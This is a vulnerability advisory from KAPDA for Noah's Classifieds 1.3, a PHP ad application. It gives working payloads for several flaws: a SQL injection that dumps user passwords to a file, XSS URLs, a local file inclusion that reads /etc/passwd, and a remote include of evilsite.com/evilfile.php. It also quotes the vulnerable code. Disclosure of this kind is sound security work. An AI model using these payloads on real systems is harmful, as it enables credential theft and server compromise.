KAPDA New advisory Vendor: http://classifieds.phpoutsourcing.com Vulnerable: Noah`s classifieds 1.3 and below (classifieds component for mambo also may be affected) Bug: Path Disclosure,Sql Injection,XSS,Local file inclusion,Remote code execution Exploitation: Remote with browser Exploit:available Description: -------------------- Noah' Classifieds is a general purpose application that allows you to set up as many ad categories as you want specifying custom fields for each of them. Vulnerabilities: -------------------- Path disclosure (direct access to include files) http://example.com/classifieds/gorum/category.php -------------------------- -------------------------- Sql Injection: (search tool, HTTP method:POST, condition: mysql user with file privilege) kapda%')))/**/UNION/**/SELECT/**/1,1,1,name,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,password/**/INTO/**/OUTFILE/**/'/installation_path/lang/result.text'/**/FROM/**/classifieds_classifiedsuser# -------------------------- -------------------------- Cross site scripting 1- http://example.com/classifieds/index.php?inf=%3Cscript%3Ealert(document.cookie)%3C/script%3E /gorum/gorumlib.php if( isset($HTTP_GET_VARS["inf"]) ) $infoText=$HTTP_GET_VARS["inf"]; $sApp=$init->showApp(); $s.=$globHtmlHead;//fontos, hogy felulirhato legyen az app-ban --- 2- http://example.com/classifieds/index.php?upperTemplate=%3Cscript%3Ealert(document.cookie)%3C/script%3E (condition:rgister_globals=On) -------------------------- -------------------------- Local file inclusion (condition: magic_quotes_gpc=Off For none php files ) http://example.com/classifieds/index.php?otherTemplate=/../../../etc/passwd%00 /include.php if (isset($otherTemplate)) { include("./template$otherTemplate.php"); } else include("./template.php"); -------------------------- -------------------------- Remote code execution (condition: register_globals=On) http://example.com/classifieds/index.php?lowerTemplate=http://evilsite.com/evilfile.php /gorum/constants.php if (!isset($upperTemplate)) $upperTemplate = "
\n"; if (!isset($lowerTemplate)) $lowerTemplate = ""; /gorum/gorumlib.php if (ereg("\.php$",$upperTemplate)) {//just check $ret=@fopen($upperTemplate,"r"); if (!$ret) { $infoText = sprintf($lll["incl_header_err"],$upperTemplate); } @fclose($f); } if (ereg("\.php$",$lowerTemplate)) {//just check $ret=@fopen($lowerTemplate,"r"); if (!$ret) { if (!isset($infoText)) $infoText=""; $infoText.="